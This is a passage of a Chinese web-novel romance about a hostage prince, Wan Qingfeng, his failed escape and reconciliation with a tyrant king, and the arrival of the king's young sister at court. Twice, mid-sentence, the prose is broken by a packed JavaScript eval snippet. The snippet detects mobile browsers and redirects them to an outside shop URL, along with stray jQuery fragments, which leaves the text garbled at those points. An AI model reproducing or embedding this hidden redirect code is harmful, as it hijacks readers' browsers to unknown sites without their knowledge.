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“挽公子这是,要去哪儿?” “去哪儿?”挽清风笑了一声,笑声轻冷,带着满身反骨与恐惧,“自然是离开秦王宫,离开殿下您这吃人的地方。” “殿下护我,杀贵妃,待我无微不至……可越是这样,我越怕。” “您前一刻能温柔给我夹菜,后一刻就能面不改色杀人。” “您对我越好,我越不知道,您什么时候会把那把刀,对准我。” 他盯着严尊谨的眼睛,字字戳心: “我受够了天天提心吊胆,受够了猜您的心思,受够了做您笼里的鸟!” “放我走。” 严尊谨久久没有说话。 夜雨哗哗落下,砸在伞面,发出沉闷的声响。 他忽然上前一步,将手中的油纸伞狠狠倾向挽清风头顶,自己大半个人暴露在雨里,玄色的肩膀瞬间被雨水浸透,冷意刺骨。 他却像毫无察觉,沙哑着嗓子,开口: “本王说过,在这北境,没人敢动你。” 停顿一瞬,他目光沉沉,字字清晰: “包括本王。” 挽清风猛地一怔。 包括本王。 四个字,轻得像雨,却重得砸在他心上。 他愣住了,仰着脸,看着眼前被雨水打湿半边身子的男人,一时间竟忘了呼吸。 严尊谨看着他湿透、发冷、微微发抖的样子,心疼得快要窒息。 他不想凶,不想逼,更不想用强。 可他怕。 怕这一放手,就是永别。 下一秒,严尊谨弯腰,不顾挽清风骤然绷紧的挣扎,伸手稳稳将人打横抱起。 “放开我!严尊谨你放开!” 挽清风终于慌了,手脚并用地挣扎,雨水混着怒气,“我不要你假好心!我要走!” “别动。”严尊谨的声音很低,带着压抑的哑,“你身子弱,淋雨会病。” “我病不病与你无关!” “与我有关。” 严尊谨抱着他,一步步踏过积水的宫道,脚步声沉稳,却透着一股无力的坚持。 伞依旧牢牢罩在挽清风头顶,他自己半边身子早已淋得湿透。 怀中人的挣扎渐渐弱了下去,只剩下浑身的冰冷与紧绷。 严尊谨低下头,薄唇靠近他湿透的耳廓,热气混着淡淡的雨气拂过,声音轻得只有两人能听见: “你想走,我不拦你。” 挽清风身体骤然一僵。 “但你至少等雨停。” “等病养好。” “等本王为你备好车马、备好银两、备好一路平安的令牌。” 他顿了顿,声音轻得几乎要被雨声吞没: “别这样狼狈地走。” “别让我,连最后一点体面,都没法给你。” 挽清风彻底僵在他怀里。 不动了。 不挣扎了。 连呼吸都忘了。 雨水从发梢滴落,滑进衣领,冷得刺骨,可他却觉得,心口某处比这夜雨还要烫。 他茫然地睁着眼,看着严尊谨湿透的肩线,看着他眼底深藏的疲惫与疼惜,脑子里一片空白。 ……这人到底是什么意思? 不罚他,不骂他,不锁他,不逼他。 甚至在他逃跑被抓后,还要给他备车马、备银两、备一路平安。 那他之前所有的恐惧、所有的防备、所有“养肥了再折磨”的结论…… 全都成了一个笑话。 严尊谨抱着他,一步步走回温暖的寝殿,每一步都走得很慢,像是在珍惜这最后一点可以抱着他的时光。 怀中人安静得反常,只有微微急促的呼吸,泄露了他心底的惊涛骇浪。 严尊谨垂眸,看着他苍白泛红的耳尖,心底轻轻一叹。 你逃不掉的。 可我舍不得绑你。 若你真的要走, 我便,送你走。 9. 挽尊如雪·五 挽清风被送回清欢殿时,浑身还是湿的,却连宫人伺候都没心思理会。 他把自己关在寝阁里,一坐就是一个时辰。 烛火明明灭灭,映得他苍白的脸忽明忽暗,脑子里翻来覆去全是雨夜的画面—— 严尊谨湿透的肩膀,倾向他的伞,沙哑的那句“包括本王”,还有那句让他心脏骤停的—— “别这样狼狈地走。” 他一直以为,严尊谨是要养肥他、折磨他、玩弄他。 可真正等他逃跑被抓,那人却连一句重话都没有,甚至愿意放他走,还给他备车马、备平安。 那之前的恐惧,算什么? 那一身竖起的反骨,又算什么? 挽清风猛地攥紧衣袖,浅碧色的眼眸里乱成一团。 他想见他。 不是请安,不是应付,是真的想亲眼看看—— 那个在雨夜放他走的人,那个杀人不眨眼的暴君,此刻到底在做什么。 鬼使神差地,他起身,悄无声息地走出清欢殿,一路避开宫人,绕到了秦王寝殿的窗下。 窗纸微透,映出屋内一道孤挺的身影。 他屏住呼吸,轻轻踮脚,从窗缝里偷偷往里看。 严尊谨坐在案前,桌上摆着一壶酒,两只空杯。 他没点灯,只靠着窗边一点月光,一杯接一杯地喝。 玄色衣袍还带着未干的雨湿,肩线绷得很紧,背影孤寂得不像那个手握生杀大权的帝王。 他看上去……很累。 很空。 像一座被人遗忘的孤城。 挽清风看得心口莫名一紧。 就在这时—— 屋内人忽然轻轻笑了一声,声音带着微醺的哑,没有回头,却准确地望向他藏身的方向。 “看够了吗?” 挽清风浑身一僵,血液瞬间冲上头顶。 被发现了。 他僵在窗下,进退不得,耳尖唰地红透,连呼吸都不敢太重。 下一刻,房门“吱呀”一声被拉开。 严尊谨站在门口,手里还握着一只白玉酒杯,酒气清浅,月光洒在他轮廓分明的脸上,眼底带着几分薄醉,却依旧一眼就锁定了他。 四目相对。 挽清风下意识往后退了半步,指尖攥得发白,声音又轻又乱,破罐破摔般开口: “我……我只是路过。” 严尊谨低笑一声,酒意让他平日里的冷硬都软了几分,带着一种近乎纵容的无奈。 “路过?” 他往前走了一步,微微俯身,目光垂落,牢牢锁着他浅碧色的眼睛, “路过本王的窗下,一站就是半盏茶?” 挽清风被他看得心慌,偏过头,却依旧嘴硬,反骨还在死撑: “殿下贵为君王,管天管地,还要管臣走哪条路?” 严尊谨没生气,反而轻轻叹了口气。 他身上的酒气混着熟悉的龙涎香,一点点笼罩住挽清风。 “我没管你。” 他声音很轻,带着酒后的坦诚, “我只是……怕你又淋雨。” 挽清风一怔,抬头看他。 男人的眼底没有算计,没有暴戾,没有权力,只有一片沉沉的、几乎要将他淹没的情绪。 像雨夜的海,安静,却汹涌。 他忽然不敢看了。 “我……我只是来问问。” 挽清风别开脸,声音小了很多,少了几分刺,多了几分自己都没察觉的慌乱, “殿下……方才在雨中说的话,是真的吗?” 严尊谨看着他泛红的耳尖,看着他紧张攥着衣角的手指,心口软得一塌糊涂。 他放下酒杯,伸手,极轻、极慢地抬起,像是怕吓到他一般,指尖快要碰到他的发梢。 挽清风浑身一僵,没躲,也没敢动。 严尊谨的手在半空中停住,最终还是轻轻落下,落在他湿透的发梢旁,声音哑得厉害: “真的。” “你想走,我便送你走。” “绝不伤你,绝不拦你,更不会……折磨你。” 每一个字,都敲在挽清风的心尖上。 他一直坚信的“养肥再杀”,在这一刻,彻底碎了。 严尊谨看着他茫然无措的模样,酒意涌上来,藏了十几年的话,差点就要脱口而出—— 我不是要困住你,我是想留住我的光。 可他最终只是轻轻开口,声音轻得像叹息: “这么晚了,回去吧。” “别再胡思乱想,也别再……雨夜乱跑。” “我会担心。” 最后三个字很轻,却像一根细针,轻轻扎进挽清风最软的地方。 他站在原地,看着眼前微醺、孤寂、却又温柔得一塌糊涂的男人, 第一次,彻底忘了逃跑,忘了恐惧,忘了所有防备。 只剩下一句无声的自问: 我到底……在逃什么? 挽清风站在门口,被他那句“我会担心”砸得心头乱颤,脚像钉在了原地,半步都挪不开。 严尊谨酒意上涌,眼神比平日里柔和太多,没再逼他,转身先走进屋内,留下半扇敞开的门。 “进来吧。”他声音低哑,“外面凉。” 挽清风犹豫了片刻,终究还是轻轻抬脚,走了进去。 屋内只点了一盏小灯,昏黄光晕漫开,把一切尖锐都揉得绵软。案上摆着半壶残酒,两只空杯,空气中飘着淡淡的酒气,混着他身上未干的雨湿气,一点都不骇人,反倒有种说不出的落寞。 他没敢走近,只在门边站定,垂着眼,声音轻得几乎听不清: “殿下……方才在雨中,为何不罚我?” 严尊谨转过身,靠着案沿,目光沉沉落在他身上,半晌才低低笑了一声,带着自嘲: “罚你什么?罚你想活下去?” 他抬手,指尖揉了揉眉心,酒意让他卸下了所有帝王架子,第一次在挽清风面前,露出不加掩饰的疲惫。 “我从小就没被人真心待过。” “母妃是最低等的婢女,生下我,才勉强得了个名分。她精神不好,一受刺激就疯疯癫癫,一会儿骂我,一会儿哭着抱我。” 挽清风猛地抬头,浅碧眼眸里满是错愕。 他从没想过,这位杀伐果断、高高在上的君王,还有这样的过去。 “宫里的人拜高踩低,兄长欺辱,宫人怠慢,连父皇……也从未正眼看过我。”严尊谨喉结滚动了一下,声音更哑,“我天赋再好,诗书骑射样样比别人强,又有什么用?在他们眼里,我只是个卑贱的婢生子。” “我以为这一辈子,都要在泥泞里烂掉。” 他抬眼,目光直直撞进挽清风眼里,那眼神太沉、太烫,藏了十几年的思念与执念,几乎要翻涌而出。 “直到……有人来了。” 挽清风心尖猛地一跳,莫名屏住呼吸。 “一个很小很小的伴读,银发白肤,眼睛像春水一样。”严尊谨轻声道,“所有人都觉得,他是来监视我、羞辱我的。” “可他没有。” “他会偷偷给我带吃的,会在我被欺负时挡在我身前,会在我母妃发疯、我缩在角落里的时候,安安静静陪着我。” “他是我黑暗里,唯一的光。” 挽清风听得心口发闷,指尖微微颤抖,莫名觉得鼻酸。 那些画面陌生,却又隐隐约约,像是在极深的记忆里,有过一点模糊的暖意。 “后来呢?”他不由自主轻声问。 严尊谨闭上眼,再睁开时,眼底已满是涩然: “后来,他为了护我,撞破了头,醒来就什么都忘了。再后来,他被接走,再也没有消息。” “我被逼得走投无路。父皇不管,兄长要置我于死地,母妃疯病缠身……我只能反。” 他说得轻描淡写,却字字带血: “弑父,除兄,血洗宫廷,才有了今天的我。” 挽清风浑身一震,怔怔看着他。 杀人不眨眼的暴君,原来也是被世道逼出来的。 “我抓你回来,不是为了折磨你。”严尊谨望着他,眼神认真得近乎虔诚,带着酒后的坦诚,“我只是……终于把我的光找回来了。” “我怕你再受委屈,怕你再受伤害,怕你又一次消失在我生命里。” “我对你好,不是装的,不是圈套,不是养肥了再杀。” 他一步一步走近,停在他面前,居高临下看着他,声音轻得像恳求: “挽清风,我只是想护着你。” 挽清风仰着头,看着他眼底的红血丝,看着他酒后的脆弱,看着他一身孤寂却拼命想护住他的模样。 一直以来竖起的所有防备、所有反骨、所有猜忌,在这一刻,彻底崩塌。 他眼眶微微发热,慌忙低下头,声音发颤: “我……我一直以为,你是要把我养好了,再慢慢折磨我……” 严尊谨心口一抽,伸手,这一次没有犹豫,轻轻抚上他的发顶,动作温柔得小心翼翼。 “傻不傻。” “我疼你都来不及,怎么舍得折磨你。” 挽清风鼻子一酸,眼泪差点掉下来,连忙咬牙忍住,却控制不住声音发哑: “那你……那天为什么要当着我的面,杀了那些贵妃。” “因为她们敢动你。”严尊谨语气瞬间沉了几分,却又很快软下来,“是我不好,没顾及你受不住,吓着你了。” 他顿了顿,低声道: “你要是怕我,我以后不在你面前杀人,不在你面前动怒,什么都依你。” “你想走,我给你备车马,备银两,备一路平安。” “你想留下……” 严尊谨的指尖轻轻落在他微凉的脸颊,声音轻得几乎听不见: “我便用这一生,把你护到底。” 挽清风站在他面前,被他温柔的气息包裹,听着他半生苦楚与满心执念,再也撑不住。 一直以来的猜忌、恐惧、逃离,全都成了一场可笑的自我折磨。 他垂在身侧的手,微微抬起,轻轻、试探性地,碰了一下严尊谨的衣袖。 动作轻得像羽毛,却让严尊谨整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261105|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都僵住了。 屋内一片安静,只有烛火跳跃,将两道身影,轻轻叠在一起。 挽清风被他一句话戳中了所有伪装,鼻尖一酸,再也撑不住那副温顺又疏离的模样。 他往后退了半步,背抵在微凉的墙壁上,仰头看着眼前微醺的严尊谨,声音轻轻发颤,却第一次把心底最脏最痛的话,全说了出来。 严尊谨看着他泛红的眼尾,心一点点沉下去,放轻了声音: “怎么了?” 挽清风垂眸,睫毛被水汽打湿,颤了颤,开口便是自嘲: “殿下真以为,我拼命想逃,是为了回南国?” 严尊谨眉心微蹙:“你不是……想家?” “家?” 挽清风忽然笑了一声,那笑声又轻又冷,带着彻骨的悲凉,“我哪有家。” 严尊谨浑身一僵。 “我从小身子弱,药罐子一个,上有兄长,文武双全,是父母眼里唯一的继承人。” 他一字一句,说得平静,却每一字都在疼: “家里所有的目光都在哥哥身上,我是多余的那个,是碍眼的那个,是连呼吸都怕占了地方的那个。” 严尊谨喉结一紧,声音沙哑: “他们……不疼你?” “疼?”挽清风抬眼,浅碧色的眸子里一片空茫,“殿下见过把亲生儿子,随手推出去送死的父母吗?” “南国被围剿,敌军兵临城下,我父母连犹豫都没有,直接把我绑了,送到北境来当质子。” 他笑了笑,眼泪却毫无预兆地掉了下来, “他们说,送我来,是为了保全一族,是为了家国大义。” “可我心里清楚——我只是个被抛弃的废物。” 严尊谨的心像是被一只手狠狠攥住,疼得喘不上气。 他上前一步,想碰他,又怕吓到他,只能僵在原地: “所以你嘴上说要回南国……” “不过是借口。” 挽清风打断他,眼泪顺着苍白的脸颊滑落, “我只是怕,怕在这里再被人拿捏,怕再被人当成玩物,怕殿下有一天腻了,也像他们一样,随手把我丢掉。” “我无家可归。” “回南国,是回去看他们怎么嫌弃我、利用我。” “留在秦王宫,我又怕殿下……是一时兴起,不是真心待我。” 他吸了吸鼻子,声音轻得像碎掉的琉璃: “我只是……想找一个不会抛弃我的地方。” 严尊谨再也忍不住,伸手,轻轻将他揽进怀里。 动作极轻,极小心,像是抱着全世界最易碎的珍宝。 挽清风没有挣扎。 他靠在严尊谨带着酒气与暖意的胸膛上,听着对方沉稳有力的心跳,压抑了这么久的委屈,终于彻底崩堤。 严尊谨低头,下巴轻轻抵在他发顶,声音哑得几乎破碎: “傻瓜。” “我不会丢了你。” “永远不会。” 挽清风在他怀里闷声问,带着哭腔,却依旧藏着那点不安: “殿下凭什么保证?你是君王,你身边会有很多人……” “就凭你是挽清风。” 严尊谨收紧手臂,将他抱得更紧,语气坚定得不容置疑, “就凭你是我黑暗里唯一的光,是我拼了命也要护着的人。” “这秦王宫,以后就是你的家。” “我不是一时兴起,我是蓄谋已久。” 挽清风攥着他的衣袍,眼泪浸湿了他胸前的衣料,声音闷闷的: “可我……什么都不会,身子又差,只会给你添麻烦……” “那就麻烦我一辈子。” 严尊谨低头,在他发顶轻轻落下一个轻吻, “我养你,我护你,我给你熬药,给你做吃的,给你一个不用看人脸色、不用害怕被抛弃的地方。” “你不用强,不用乖,不用藏着你的反骨。” “你只要留在我身边,就够了。” 挽清风埋在他怀里,哭得浑身发颤。 这么多年。 第一次有人告诉他: 你不用优秀,不用懂事,不用有用。 你只要做你自己。 严尊谨轻轻拍着他的背,像安抚一只受惊的小兽,声音温柔得能滴出水: “不逃了,好不好?” 挽清风在他怀里,沉默了很久很久。 终于,他轻轻点了点头,声音带着哭后的沙哑,却无比清晰: “……好。” “不逃了。” 严尊谨浑身一松,几乎要瘫软下来。 他抱紧怀里失而复得的光,闭上眼,长长地舒出一口气。 窗外夜雨已停,月光穿透云层,温柔地洒进屋内。 两个在世间被抛弃、被伤害、满身伤痕的人,终于在彼此怀里,找到了属于自己的、唯一的归宿。 从此以后—— 他不再是无家可归的质子。 他不再是孤家寡人的暴君。 他们是彼此的救赎,是余生的全部。 10. 挽尊如雪·六 自从那晚把所有心事都说开,挽清风像是彻底松了绑,把所有伪装、温顺、小心翼翼全撕了个干净。 他不再端着温柔质子的架子,不再怕得罪人,不再对严尊谨客客气气—— 真实的挽清风,嘴毒、腹黑、阴阳怪气满级,一身反骨焊在骨子里,偏偏长得又白又软,浅碧眼一弯,能把人气得半死还拿他没办法。 严尊谨倒是甘之如饴,天天捧着宠着,乐得看他做回自己。 这天清晨,挽清风刚醒,赖在榻上不肯动。 严尊谨亲手端着药碗过来,吹到温度刚好,递到他唇边。 换做以前,他会轻声道谢,乖乖喝掉。 现在—— 挽清风瞥了一眼黑漆漆的药汁,眉头一皱,浅碧眼半眯,语气慢悠悠地开口: “殿下今日这药,闻着比昨日苦上三分。” 严尊谨耐心哄:“特意加了两味补身子的药材,忍一忍。” 挽清风哦了一声,不喝,就看着他,阴阳怪气轻飘飘飘出来: “也是,殿下如今手握生杀大权,自然是不怕臣苦死。” “左右臣只是个无家可归的质子,苦点算什么,只要殿下开心就好。” 严尊谨:“……” 低头闷笑一声,把蜜饯提前塞进他嘴里:“是我错了,下次让太医减苦。” 挽清风这才张口喝药,喝完还不忘补一刀: “殿下还算有良心,没白让殿下为我杀人放火一场。” 严尊谨捏捏他的脸:“就你嘴尖牙利。” 没过几日,后宫剩下的几个嫔妃不知死活,派人送来一盒点心,明里请安,暗里试探。 宫人端上来,不敢擅自做主。 挽清风坐在窗边剥葡萄,看都没看那点心盒子,语气淡得很: “放着吧。” 宫人战战兢兢:“可是娘娘们一片心意……” 挽清风轻笑一声,剥完一颗葡萄丢进嘴里,声音又软又毒: “心意?” “她们是闲得发慌,还是觉得殿下上次杀得不够干净?” “一碗药没喝成,改送点心了?这秦王宫的后宫,真是越来越会玩了。” 宫人吓得立刻跪下。 正巧严尊谨从外殿进来,听见这话,走过来顺手把他怀里的葡萄接过去,一颗颗剥好喂他,语气宠溺: “谁又惹你不高兴了?” 挽清风斜他一眼,阴阳怪气升级: “那可不,臣哪敢不高兴。” “殿下后宫佳丽三千,个个惦记着给臣送‘好意’,臣感激还来不及呢。” 严尊谨低笑:“吃醋了?” 挽清风挑眉,理直气壮: “臣吃什么醋?臣只是替殿下不值。” “殿下放着好好的朝政不操心,天天守着我这个药罐子,结果还有人上赶着找不痛快。” “殿下您说说,您图什么呀?” 严尊谨凑近他耳边,低声道:“图你。” 挽清风耳尖一红,立刻别过脸,嘴硬道: “油嘴滑舌。” “也就是臣心软,肯留下来陪你。” “换别人,早被殿下这阴晴不定的性子吓跑了。” 严尊谨笑得不行,立刻让人把点心扔出去,顺带传话: “再有人打扰质子,按上次的规矩办。” 后宫彻底安静了。 又一次晚宴,有老臣不知趣,跪在殿上劝严尊谨广纳后宫、绵延子嗣,话里话外都在暗指挽清风一个男子留在君王身边不合规矩。 气氛瞬间僵住。 严尊谨脸色一沉,刚要开口。 挽清风先慢悠悠放下酒杯,浅碧眼眸弯起一抹笑,声音清亮,字字阴阳怪气,精准扎心: “大人这话倒是说得有理。” “只是殿下日理万机,连睡觉都要想着怎么护着臣,哪有时间顾及后宫?” “再说了,殿下真要纳妃,也得有人敢来吧?” “毕竟前几位试图给臣下药的娘娘,现在还在土里躺着呢。” 全场死寂。 老臣脸色惨白,一句话不敢说。 严尊谨在一旁撑着下巴,满眼笑意看着他家小祖宗嘴炮输出,别提多得意。 等晚宴结束,回宫路上。 严尊谨把人抱在怀里,逗他:“现在胆子大了,谁都敢怼。” 挽清风靠在他怀里,理直气壮: “那是,殿下都把刀架在别人脖子上护我了,臣再不嘴硬点,岂不是对不起殿下?” 严尊谨吻了吻他的发顶:“就喜欢你这样。” 挽清风哼了一声,又开始阴阳: “喜欢?殿下现在是喜欢,等再过几年,臣人老珠黄,身子又差,殿下指不定怎么嫌弃呢。” 严尊谨无奈:“我何时嫌弃过你?” 挽清风抬眼,笑眯眯: “殿下现在没嫌弃,不代表以后不会。” “毕竟男人嘛,得到了就不珍惜,臣懂。” 严尊谨彻底被他打败,只能抱紧了哄: “一辈子珍惜,绝不嫌弃,我的小祖宗。” 挽清风这才满意地靠回去,心里甜得冒泡,嘴上依旧不饶人: “这还差不多。” “记住了,殿下这辈子,只能宠我一个。” “不然……” 严尊谨低声问:“不然怎样?” 挽清风弯眼一笑,毒舌满级: “不然臣就天天在殿下面前阴阳怪气,让殿下上朝都想着怎么哄我。” 严尊谨低笑出声,胸腔震动,暖得一塌糊涂。 他怀里的人,终于卸下所有防备,做回了最真实、最鲜活、最可爱的模样。 温柔质子是假的。 阴阳怪气小祖宗才是真的。 而这真真切切的挽清风,正是他爱到骨子里的人。 几日后,宫里忽然传报——燕国归来的小郡主严洛到了宫门口。 严尊谨听到名字时,握着书卷的手指微不可查地顿了一下。 “让她直接来正殿。” 挽清风正趴在榻上啃蜜饯,闻言抬了抬眼:“殿下还有妹妹?” “嗯。”严尊谨声音淡了些,“先帝与延妃之女,乳名阿洛,今年八岁。当年宫变,她才一岁多,延妃拼死护着,我便留了她们母女在燕国封地。” 挽清风哦了一声,心里默默盘算了下——一岁多,确实什么都记不住,也难怪没杀。 不多时,一道小小的身影被宫人引了进来。 一身素色小宫装,身形纤细,乌黑头发规规矩矩挽着小髻。 才八岁,眉眼已经看得出清冷精致,可那张小脸上没有半分孩童该有的天真烂漫,眼神沉静得像一潭深水,明明是个孩子,却透着一股什么都懂、什么都藏在心里的成熟。 一进门,她没有怯生生,也没有撒娇,只是规规矩矩屈膝行礼。 “臣妹严洛,见过王兄。” 声音清清淡淡,礼数挑不出半点错。 严尊谨语气平平:“起来吧,一路辛苦。” “不辛苦。”严洛站直身子,目光平静地转向一旁榻上的挽清风,没有好奇,没有探究,更没有失礼,只是淡淡认人,“这位便是王兄时常提起的……挽清风公子吧。” 挽清风:“……” 他抬眼,对上小女孩那双过于清醒、过于通透的眼睛,心里莫名一紧。 这小孩,不简单。 他慢悠悠坐起身,脸上挂起那副又软又毒的标准笑容,先开口: “小郡主倒是眼尖。只是殿下日理万机,居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261106|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有空跟你提我,真是受宠若惊。” 严洛小小年纪,却半点不怵,微微颔首: “挽公子不必过谦。王兄这些年,从未对谁这般上心过。” 一句话,说得直白,又不带任何情绪。 挽清风心里啧了一声。 这小孩,什么都知道。 知道她哥是暴君,知道宫变,知道先帝旧事,也知道他和严尊谨的关系。 严尊谨看了两人一眼,淡淡开口: “阿洛刚从燕国回来,以后便住在宫里,你多照拂。” 挽清风笑眯眯:“殿下放心,臣别的不会,哄小孩还是会的。” 他特意加重“哄小孩”三个字。 严洛却抬眸,清澈却沉静的眼睛看着他,轻声道: “挽公子不必把我当寻常孩童哄,我都懂。” 挽清风脸上的笑顿了半秒。 行,是个狠人。 严尊谨看着这一大一小第一次交锋,嘴角几不可查地勾了一下。 他这个小妹,自小在延妃身边长大,见惯了宫廷冷暖,心思比谁都通透,却从不惹事,从不站队,安安静静活到现在。 严洛目光又落回严尊谨身上,语气依旧平静: “王兄,臣妹此次回来,只带了两名贴身侍女,不涉朝政,不参与后宫之事,也不会给王兄和挽公子添麻烦。” 她顿了顿,清清楚楚补上一句: “以前的事,臣妹不记、不问、不怨,只求安稳度日。” 严尊谨眸色微深。 八岁的孩子,能把话说得这么明白,实属罕见。 “知道了。”他淡淡应下,“你安心住着,缺什么直接让人来取。” “谢王兄。” 严洛又行一礼,转身退下时,脚步稳得不像个孩子。 直到她的身影消失在殿门外,挽清风才靠回软榻,慢悠悠拿起一颗蜜饯丢进嘴里,阴阳怪气地开口: “殿下这妹妹,可真是……少年老成啊。” 严尊谨抬眸看他:“怕了?” “怕?”挽清风嗤笑一声,浅碧眼弯起,“臣只是在想,殿下一家是不是都这性子——看着清冷,心里门儿清。” 他瞥了严尊谨一眼: “殿下是杀人不眨眼,小郡主是什么都懂却装不懂。以后这宫里,怕是热闹了。” 严尊谨走过去,伸手揉了揉他的头发: “她不会惹你。” “哦?”挽清风挑眉,“殿下这么肯定?” “她比谁都清楚,谁能护她。”严尊谨声音低沉,“也比谁都清楚,动你,等于找死。” 挽清风哼了一声,心里却莫名安定下来。 只是他不知道,殿门外转角处,小小的严洛站在阴影里,望着正殿方向,眼神平静无波。 宫人小声问:“郡主,我们回殿吗?” 严洛轻轻点头,声音轻得像风: “回吧。” “以后在宫里,少说话,多看着。” “对挽公子,要敬,要远,不可有半分不敬。” 宫人不解:“郡主为何……” 严洛抬眸,眼底是不属于八岁的清醒: “王兄的命,现在系在他身上。” “护他,便是护我自己。” 说完,她转身,小小的身影一步步走远,安静得像从未出现过。 殿内的挽清风忽然打了个小小的喷嚏。 严尊谨立刻伸手摸他额头:“受凉了?” 挽清风不耐烦拍开他的手:“臣好得很,估计是有人在背后夸我。” 严尊谨低笑:“嗯,夸你嘴甜。” 挽清风凉凉瞥他: “殿下说笑了,臣这张嘴,只对殿下甜。” 对别人,那可是要阴阳怪气到底的。 11. 挽尊如雪·七·完 严洛在宫中住了三日。 不吵不闹,不串门不打听,每日只在自己殿中读书、习字、看庭院里的落雪,安静得像一缕烟。 挽清风原本还提着几分防备,可几日下来,半点动静都没有,反倒有些好奇。 这日午后,他揣着一碟点心,慢悠悠晃到了严洛住的偏殿。 宫人一见他,慌忙要行礼,挽清风轻轻摆手:“不必声张,我随便看看。” 他走到窗边,就看见屋内。 八岁的小郡主端坐在案前,一笔一划练字,脊背挺得笔直,神情沉静,连握笔的姿势都沉稳得不像孩子。 挽清风倚在窗棂上,抱着胳膊,似笑非笑: “小郡主倒是勤勉,这么冷的天,也不多歇歇。” 严洛笔尖一顿,缓缓抬头,看向窗外的他。 没有惊慌,没有局促,也没有半点小孩子见到生人的怯意。 她放下笔,规规矩矩起身,微微颔首: “挽公子。” 礼数周全,语气清淡。 挽清风推门走进去,将点心放在她案上,语气慢悠悠,带着几分试探: “刚让人做的桂花糕,尝尝?我还以为,你这几日都要闭门不出。” 严洛看了眼点心,又抬眼看他,声音平静: “宫里人多眼杂,少出门,少是非。” 挽清风挑眉,在她对面坐下,故作温和: “郡主才八岁,想得倒是多。小孩子,不必这么累。” 他这话,半是真心,半是试探。 严洛静静看着他,忽然轻轻开口,一句话,直接戳破他的伪装: “挽公子不也是吗?” 挽清风脸上的笑意微滞。 “以前在人前,温柔懂事,半点错处都没有。” 严洛语气平平,像在说一件再平常不过的事, “如今在王兄面前,才肯做回自己——嘴利,心细,什么都懂,只是懒得装。” 挽清风:“……” 他眯了眯浅碧色的眼,第一次收起那副吊儿郎当的阴阳怪气,认真打量眼前这个小丫头。 “郡主倒是看得清楚。”他语气淡了几分,“就不怕我生气?” “公子不会。” 严洛低下头,给自己倒了杯温水,推到他面前, “公子不是小气的人,只是不爱被人当傻子哄。我直说,比装天真,更让公子舒服。” 挽清风沉默一瞬,忽然轻笑出声。 这小丫头,人小鬼大,心思剔透得吓人。 他拿起一块桂花糕,咬了一口,慢悠悠道: “你倒是比宫里那些老狐狸,懂事多了。” 严洛轻轻开口: “王兄当年没杀我和母妃,不是忘了,是念一丝情分。 我和母妃安稳活到现在,不是没人想动我们,是没人敢动王兄护着的人。” 她抬眸,目光清澈,却字字清醒: “我知道,王兄现在最在意的,是公子。” 挽清风指尖一顿。 “我不求别的,只求我和母妃安稳度日。” 严洛语气依旧平静,“公子放心,我不会碍你的眼,更不会做任何让王兄为难的事。” 挽清风看着她小小一张脸,却有着远超年龄的隐忍与清醒,心里莫名一软。 他和严尊谨,都是从泥泞里爬出来的。 这丫头,小小年纪,也活在刀尖上,学会了察言观色,学会了闭嘴自保。 他忽然没了试探的心思,语气淡了几分,却带了点真心: “你安分,我自然不为难你。” 顿了顿,他又习惯性地补了句阴阳怪气: “毕竟,殿下那么心软,我要是欺负他宝贝妹妹,回头指不定怎么罚我。” 严洛看着他,忽然极轻、极浅地勾了一下唇角——那几乎算不上笑,却让她整个人都柔和了一瞬。 “王兄不会罚公子。” 她十分笃定,“王兄只会罚欺负公子的人。” 挽清风:“……” 这丫头,要不要这么直白。 他轻咳一声,端起茶杯喝了一口,转移话题: “在宫里住得还习惯?缺什么,让人去我那边取。” “都好。”严洛点头,“谢公子关心。” 两人就这么安静坐着,一个吃点心,一个看书,没有尴尬,也没有刻意找话。 过了一会儿,严尊谨走了进来。 一进门,就看见这诡异又和谐的画面—— 他家嘴毒小祖宗,安安静静吃点心; 他家清冷小郡主,安安静静看书。 严尊谨挑眉,看向挽清风: “你们倒是相处和睦。” 挽清风立刻抬眼,阴阳怪气技能重启: “殿下说笑了,我哪敢跟郡主不和睦。 郡主年纪小,心眼可比殿下还多,我怕被她卖了,还帮着数银子。” 严洛头也不抬,淡淡接了一句: “我不会卖公子。” “卖了公子,王兄会杀了我。” 挽清风:“……” 说得好有道理,他竟无法反驳。 严尊谨低笑出声,走过来,自然地伸手揉了揉挽清风的头发,又看向严洛: “今日起,你母妃也接进宫。在宫里安心住着,谁也不敢欺负你们。” 严洛放下书,起身规规矩矩行礼: “谢王兄。” 声音依旧清淡,可眼底那一丝紧绷,悄悄松了下去。 挽清风看着这一幕,咬着桂花糕,心里轻轻哼了一声。 嘴上不说,心里却认了—— 这个妹妹,不算讨厌。 后宫清净·一大一小联手气人 自那天窗下交心之后,挽清风对严洛彻底放下戒心。 他算是看明白了——这小丫头人狠话不多,心思比谁都亮,还特别会站队。 宫里剩下那几个没眼力的嫔妃、多嘴的老臣,这下可倒了霉。 这天下午,有位太妃仗着是先帝旧人,特意绕到清欢殿“探望”,明着寒暄,暗里挤兑挽清风一个男子霸占君王、祸乱宫闱。 太妃端着架子,皮笑肉不笑: “挽公子身子弱,是该多静养,只是总黏着陛下,怕是会耽误朝政啊。” 挽清风刚要开口抬杠。 旁边忽然传来一声清淡又冷静的小孩声音: “太妃娘娘多虑了。” 